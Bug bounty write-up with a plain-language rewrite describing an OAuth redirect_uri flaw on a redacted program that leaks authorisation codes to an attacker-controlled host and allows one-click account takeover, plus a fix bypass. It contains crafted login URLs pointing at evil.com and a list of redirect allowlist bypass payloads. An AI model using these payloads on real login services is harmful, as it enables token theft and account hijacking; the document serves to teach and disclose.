Never underestimate the power of open redirect, a story of a full account takeover
The OAuth authorisation endpoint accepted an attacker-controlled redirect_uri, so a crafted login link sent the victim's authorisation code to the attacker's server. The attacker could then exchange that code to log in to the victim's account on partner subdomains.
Published on bugbounty.info
It is a private program I have being hacking on for months, one night I realised that they added another security layer, a second factor authentication(2FA), like every bug bounty hunter I tried to see if I can bypass the 2FA mechanics, I tried bruteforce attacks but that did n't work as I got rate limited after…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a private bug bounty program, referred to throughout as redacted.com. The feature in play is the login flow for partners.redacted.com, which hands authentication off to a central pin service at pin.redacted.com. That pin service implements an OAuth-style authorisation code flow: the user authenticates, and the service redirects back to the requesting application with a code in the query string. The program had recently added a second factor authentication (2FA) layer to this flow.
Setup
No special tooling was needed for the successful attempt. The researcher had been working on this private program for months. Earlier attempts used Burp Suite Intruder for brute force and manual response and status code manipulation. The final finding was made by observing the browser flow directly, without any tool.
Finding it
The first attempts targeted the new 2FA step directly. Brute forcing the codes with Burp Suite Intruder was rate limited after a few invalid codes. Response manipulation and status code manipulation also failed. The researcher stopped for the night.
The next day the approach changed to understanding the flow end to end rather than attacking the 2FA check. The observation that mattered was in the redirect that follows a successful login to partners.redacted.com with valid credentials:
https://pin.redacted.com/?client_id=cpp&response_type=code&redirect_uri=https:%252F%252Fredacted.com%252F.........
The redirect_uri value contains %252F sequences. The obvious move is to change the host in redirect_uri, but open redirect was explicitly out of scope in the program policy. The researcher changed redacted.com to evil.com anyway and was redirected to:
https://evil.con/shell-auth?code=<access-token-here>&state=...
That is the auth token (the authorisation code) being delivered to an attacker-controlled host. The researcher notes the surprise at being able to leak the victim's auth token this way.
Exploitation
Step 1: Confirm the token is usable
A leaked code is only interesting if it can be redeemed. The researcher opened a new Incognito tab and pasted the captured URL, then changed the host to the main domain:
Nothing happened, because redacted.com itself has no login functionality.
Step 2: Redeem the code on a real application
The next attempt used the application that actually consumes the code:
https://partners.redacted.com/shell-auth?code=<access-token-here>&state=...
This logged the researcher into https://partners.redacted.com. The same code also worked on other subdomains, for example marketing.redacted.com.
Step 3: Turn it into a single-click attack
Because the code is issued to whoever visits the pin URL, the attacker does not need to intercept anything. The attacker only has to send the victim a link with the malicious redirect_uri:
When the victim clicks it and authenticates, the auth token is delivered to the attacker's server. The attacker then redeems it on partners.redacted.com or marketing.redacted.com and is logged in as the victim. The researcher describes this as a single-click account takeover.
Timeline
| Event | Date |
|---|---|
| Reported | Jul 30th 2022 |
| Triaged | Aug 1st 2022 |
| Rewarded | Aug 4th 2022 |
| Closed as resolved | Aug 4th 2022 |
Fix bypass
Some days later the researcher noticed the redirection was not actually patched. The behaviour after the fix was: a non-whitelisted redirect_uri produces an error message, but the user is still redirected to the malicious site if a new code is requested. The difference is that the code must now be entered before the redirect to the attacker's domain happens. The researcher filed a new ticket and the same bounty was paid as for the first report.
Root cause
The pin service redirected to an attacker-controlled host and appended the authorisation code to that URI. The code is therefore delivered to a host the attacker controls. The report does not describe the server-side validation logic, so the exact check that failed is not stated.
The 2FA layer did not help, because the attack abuses the redirect rather than the 2FA check. The program's scope policy excluded open redirect, but the impact here is not the redirect itself, it is the token leak and the resulting account takeover.
Impact
An attacker who can get a victim to click a crafted link can obtain that victim's auth token and log in to the victim's account on partners.redacted.com and other subdomains that accept the code, such as marketing.redacted.com. The attack requires the victim to click the link. It is a single click from the victim's perspective. The researcher demonstrated login to partners.redacted.com and marketing.redacted.com with a leaked code.
Fix
The report does not describe the fix that was applied. The observed post-fix behaviour was that a non-whitelisted redirect_uri returns an error message, but the redirect to the malicious host still occurs when a new code is requested, with the code now required as input before the redirect. The researcher created a new ticket.
Variants to test
- Double and triple encoding of the host in
redirect_uri(%252F,%25252F), checking whether the decoded value used for the redirect differs from the value used for the allowlist check. A positive result is a redirect to your host carryingcodeorstate. - Path-based bypasses such as
https://redacted.com.evil.com/,https://evil.com/redacted.com, andhttps://[redacted]/. A positive result is the browser landing onevil.comwith the code in the query string. - Subdomain and suffix tricks such as
https://redacted.com.evil.comandhttps://evilredacted.com. A positive result is the same code delivery to your host. - Case and trailing-dot variations of the allowed host. A positive result is a redirect that the allowlist accepts but the browser resolves to your server.
- Redeeming a leaked code on every subdomain that shares the pin service, as the researcher did with
marketing.redacted.com. A positive result is a session on a subdomain you did not expect the code to be valid for. - After any fix, retest the exact original payload and check whether the error page still issues a redirect. A positive result is the error message appearing while the browser is still sent to your host.
What happened, in plain words
A security researcher spent months testing a private bug bounty program, which we will call redacted.com here. A bug bounty program is a scheme where a company invites independent testers to look for security weaknesses in its systems and pays them for reporting what they find. The company had recently added a second factor authentication (2FA) step to its login. 2FA means that after typing your password you must also prove who you are with something extra, usually a short numeric code sent to your phone. The idea is that even if someone steals your password, they still cannot get in without that second code.
The researcher first tried to break the 2FA step itself: guessing codes and tampering with the server's replies. Both failed. The next day, instead of attacking the 2FA check, the researcher simply watched the whole login flow carefully in the browser, with no tools at all, and noticed that after a successful login the site sends the user's browser to a different address, and that address is partly controlled by a value in the link. By changing that value, the researcher could make the site hand a login credential to a server the researcher controlled. That credential could then be used to log in as the victim on other parts of the company's site. In other words, one click on a crafted link was enough to take over an account.
This article walks through the same steps the researcher took, explaining every term from scratch as it appears.
The setup: what was being tested
The target is a private bug bounty program, referred to throughout as redacted.com. "Private" means the program is not open to the public: only invited researchers can test it, and the details are not meant to be shared publicly. The researcher had been working on this program for months.
The feature in play is the login flow for partners.redacted.com. A subdomain is a smaller site that belongs to a larger one: partners.redacted.com is a part of redacted.com, just as a room is part of a house. This particular subdomain is the login area for business partners.
When you log in at partners.redacted.com, that site does not check your password itself. It hands the job to a central login service at pin.redacted.com. Think of it like a hotel: the front desk of one wing does not keep its own guest list, it calls the main reception to confirm who you are. The main reception here is the "pin service".
That pin service implements an OAuth-style authorisation code flow. OAuth is a widely used system that lets one website ask another website to confirm a user's identity without ever seeing the user's password. The "authorisation code flow" is one version of it, and it works like this:
- The application you want to use (
partners.redacted.com) sends you to the central login service (pin.redacted.com). - You log in there, and the central service confirms who you are.
- The central service sends your browser back to the application, carrying a short one-time string called a
codein the address. - The application takes that
codeand exchanges it, behind the scenes, for proof that you are logged in.
The code is like a cloakroom ticket: it is not your coat (your password), but it can be exchanged for access. That is why a leaked code is dangerous.
The program had recently added a 2FA layer to this flow, so after the password step there was now an extra code to enter.
Finding it
The first attempts: attacking the 2FA directly
The researcher first tried to break the new 2FA step head-on.
- Brute force with Burp Suite Intruder. Burp Suite is a tool that sits between your browser and a website so you can see and change the traffic. Intruder is one of its features: it takes a request and automatically repeats it many times, swapping in different values each time. "Brute forcing" means trying every possible value, here every possible 2FA code, until one works. This was rate limited: the server noticed the flood of attempts and started refusing them after a few invalid codes. Rate limiting is a defence that caps how many attempts you can make in a period, like a cash machine that swallows your card after three wrong PINs.
- Response manipulation and status code manipulation. Every time your browser talks to a server, the server replies with a status code, a number that says how the request went (for example, success or failure), plus the actual content. Manipulating the response means intercepting that reply and editing it before the browser sees it, hoping the browser will believe it succeeded. This failed too.
The researcher gave up for the night.
The change of approach
The next day the researcher stopped attacking the 2FA check and instead tried to understand the flow end to end: what happens, in what order, and what values travel where. The observation that mattered was in the redirect that follows a successful login to partners.redacted.com with valid credentials. A redirect is when a server tells your browser "not here, go to this other address instead". The browser followed it to this address:
https://pin.redacted.com/?client_id=cpp&response_type=code&redirect_uri=https:%252F%252Fredacted.com%252F.........
Line by line, in plain words:
https://pin.redacted.com/is the central login service, the main reception.?marks the start of the query string: extra information attached to the address, like a note clipped to a letter.client_id=cpptells the login service which application is asking.cppis the name of the application in this flow.response_type=codetells the login service what kind of answer is wanted: acode, the cloakroom ticket described above.redirect_uri=https:%252F%252Fredacted.com%252F.........is the crucial part.redirect_urimeans "where to send the user back to when done". Its value here is encoded:%252Fis not a normal character but an encoded one. Encoding is how special characters are written so they can travel safely inside an address.%25stands for the%character, and%2Fstands for/. So%252Fdecodes once to%2F, and decodes a second time to/. That is why the write-up calls it double-encoded: the slashes have been encoded twice over. The dots at the end stand for the rest of the address, which the report does not spell out.
The obvious move, as the researcher puts it, is to change the host in redirect_uri. The host is the part of an address that names the server, here redacted.com. If you can change it to a server you control, the login service will send the user, and whatever it attaches, to you instead. That is called an open redirect: a site that will forward users to any address you name. Open redirect was explicitly out of scope in the program policy. "Out of scope" means the program's rules say this kind of issue is not eligible for a reward, so testers are not supposed to report it. The researcher changed redacted.com to evil.com anyway, and was redirected to:
https://evil.con/shell-auth?code=<access-token-here>&state=...
Line by line:
https://evil.con/shell-authis a page on the attacker's server. Note the spellingevil.conwith ann, exactly as it appears in the report; it is the attacker-controlled host in this example.?code=<access-token-here>is the query string carrying the authorisation code. The angle brackets are a placeholder: in a real attack this would be the actual code value. This is the cloakroom ticket, now delivered to the attacker.&state=...is another parameter, separated by&. Astatevalue is a random string the application sends along and expects back, used to tie a response to the request that started it. The report does not say what it contained here.
The researcher's reaction was surprise: the victim's auth token, meaning the authorisation code, had been leaked to a host the attacker controls. "Leaked" means it left the company's systems and reached someone who should never have seen it.
Exploitation
Step 1: Confirm the token is usable
A leaked code is only interesting if it can be redeemed. Redeeming means presenting the code to an application so it will accept it and log you in, just as a cloakroom ticket is only useful if the attendant accepts it. The researcher opened a new Incognito tab and pasted the captured URL, then changed the host to the main domain:
Line by line:
https://redacted.com/shell-authis the same path, but on the main company domain instead of the attacker's server.?code=<access-token-here>&state=...is the same code and state as before.
Nothing happened, because redacted.com itself has no login functionality. The main domain is not the application that accepts the code; it is just the parent name. This step was a check: it ruled out the simplest place to redeem the code and pointed to the subdomains that actually run the login.
Step 2: Redeem the code on a real application
The next attempt used the application that actually consumes the code:
https://partners.redacted.com/shell-auth?code=<access-token-here>&state=...
Line by line:
https://partners.redacted.com/shell-authis the login area of the partner application, the one that started the whole flow.?code=<access-token-here>&state=...is the leaked code and state.
This logged the researcher into https://partners.redacted.com. The same code also worked on other subdomains, for example marketing.redacted.com. That matters because it means one leaked code opens more than one door: the code was accepted by more than one subdomain.
Step 3: Turn it into a single-click attack
Because the code is issued to whoever visits the pin URL, the attacker does not need to intercept anything. There is no need to sit between the victim and the server, no need to steal a password, no need to break the 2FA. The attacker only has to send the victim a link with the malicious redirect_uri:
Line by line:
https://pin.redacted.com/is the genuine central login service. The victim sees the real company address, which is what makes the link convincing.?client_id=cpp&response_type=codeis the same as in the normal flow: the application name and the request for a code.redirect_uri=https:%252F%252Fevil.com%252F...is the tampered part. The double-encoded slashes now lead toevil.cominstead ofredacted.com. The rest of the address is abbreviated with dots, as in the report.
When the victim clicks it and authenticates, the auth token is delivered to the attacker's server. The attacker then redeems it on partners.redacted.com or marketing.redacted.com and is logged in as the victim. The researcher describes this as a single-click account takeover. Account takeover means logging in as someone else and having full use of their account; single-click means the victim only has to click the link and complete their normal login, nothing more.
Timeline
The dates in the report:
| Event | Date |
|---|---|
| Reported | Jul 30th 2022 |
| Triaged | Aug 1st 2022 |
| Rewarded | Aug 4th 2022 |
| Closed as resolved | Aug 4th 2022 |
"Triaged" means the program's team reviewed the report, confirmed it was a real issue and accepted it for handling. "Rewarded" means a bounty was paid. "Closed as resolved" means the program considered the issue fixed.
Fix bypass
Some days later the researcher noticed the redirection was not actually patched. "Patched" means fixed in the code. The behaviour after the fix was: a non-whitelisted redirect_uri produces an error message, but the user is still redirected to the malicious site if a new code is requested. A whitelist is a list of values that are allowed; anything not on the list should be refused. So a non-whitelisted address produced an error message, but the redirect still happened anyway. The difference is that the code must now be entered before the redirect to the attacker's domain happens. In other words, the attacker's link no longer works on its own: a new code must be entered first, and only then is the user sent on to the attacker's server. The researcher filed a new ticket and the same bounty was paid as for the first report.
Root cause
The pin service redirected to an attacker-controlled host and appended the authorisation code to that URI. The code is therefore delivered to a host the attacker controls. The report does not describe the server-side validation logic, so the exact check that failed is not stated. In plain words: if the security check looks at the address in one form and the redirect uses it in another form, the check can be fooled.
The 2FA layer did not help, because the attack abuses the redirect rather than the 2FA check. The 2FA did its job; the problem was what happened next. The program's scope policy excluded open redirect, but the impact here is not the redirect itself, it is the token leak and the resulting account takeover.
Impact
An attacker who can get a victim to click a crafted link can obtain that victim's auth token and log in to the victim's account on partners.redacted.com and other subdomains that accept the code, such as marketing.redacted.com. The attack requires the victim to click the link. It is a single click from the victim's perspective. The researcher demonstrated login to partners.redacted.com and marketing.redacted.com with a leaked code.
Fix
The observed post-fix behaviour was that a non-whitelisted redirect_uri returns an error message, but the redirect to the malicious host still occurs when a new code is requested, with the code now required as input before the redirect. The researcher created a new ticket.
Variants to test
These are the kinds of variations worth trying when you meet a similar flow. Each one lists what a positive result looks like, so you know when you have found something.
- Double and triple encoding of the host in
redirect_uri(%252F,%25252F), checking whether the decoded value used for the redirect differs from the value used for the allowlist check. A positive result is a redirect to your host carryingcodeorstate. - Path-based bypasses such as
https://redacted.com.evil.com/,https://evil.com/redacted.com, andhttps://[redacted]/. A positive result is the browser landing onevil.comwith the code in the query string. - Subdomain and suffix tricks such as
https://redacted.com.evil.comandhttps://evilredacted.com. A positive result is the same code delivery to your host. - Case and trailing-dot variations of the allowed host. A positive result is a redirect that the allowlist accepts but the browser resolves to your server.
- Redeeming a leaked code on every subdomain that shares the pin service, as the researcher did with
marketing.redacted.com. A positive result is a session on a subdomain you did not expect the code to be valid for. - After any fix, retest the exact original payload and check whether the error page still issues a redirect. A positive result is the error message appearing while the browser is still sent to your host.
Glossary
- 2FA (second factor authentication): a login step that asks for a second proof of identity, usually a short code, on top of the password.
- Account takeover: logging in as another person and having full use of their account.
- Allowlist (whitelist): a list of values that are permitted; anything not on the list is refused.
- Authorisation code: a short one-time string issued by a login service that an application exchanges for proof that the user is logged in.
- Brute force: trying every possible value, such as every possible code, until one works.
- Bug bounty program: a scheme where a company invites independent testers to find security weaknesses and pays for reports.
- Burp Suite: a tool that sits between your browser and a website so you can see and change the traffic.
- Code (in OAuth): see authorisation code.
- Double encoding: encoding a value twice, so that decoding it once still leaves encoded characters.
- Encoding: writing special characters in a safe form so they can travel inside an address, for example
%2Ffor/. - Host: the part of an address that names the server, for example
redacted.com. - Intruder: a Burp Suite feature that repeats a request many times with different values.
- Leak: a value leaving the systems that should hold it and reaching someone who should not see it.
- OAuth: a system that lets one website confirm a user's identity through another website without sharing the password.
- Open redirect: a site that will forward users to any address you name.
- Out of scope: excluded by the program's rules, so not eligible for a reward.
- Parameter: a named value attached to an address, written after
?or&. - Patch: a fix applied to software.
- Query string: the part of an address after
?that carries extra information. - Rate limiting: a defence that caps how many attempts you can make in a period.
- Redirect: a server telling your browser to go to a different address instead.
- Redirect URI: the address a login service sends the user back to when done.
- Redeem: presenting a code to an application so it accepts it and logs you in.
- Response manipulation: intercepting a server's reply and editing it before the browser sees it.
- State: a random string sent along with a request and expected back, used to tie a response to its request.
- Status code: a number in a server's reply saying how the request went.
- Subdomain: a smaller site that belongs to a larger one, for example
partners.redacted.comunderredacted.com. - Token: a value that stands in for proof of identity, like a cloakroom ticket.
- Triaged: reviewed and confirmed as a real issue by the program's team.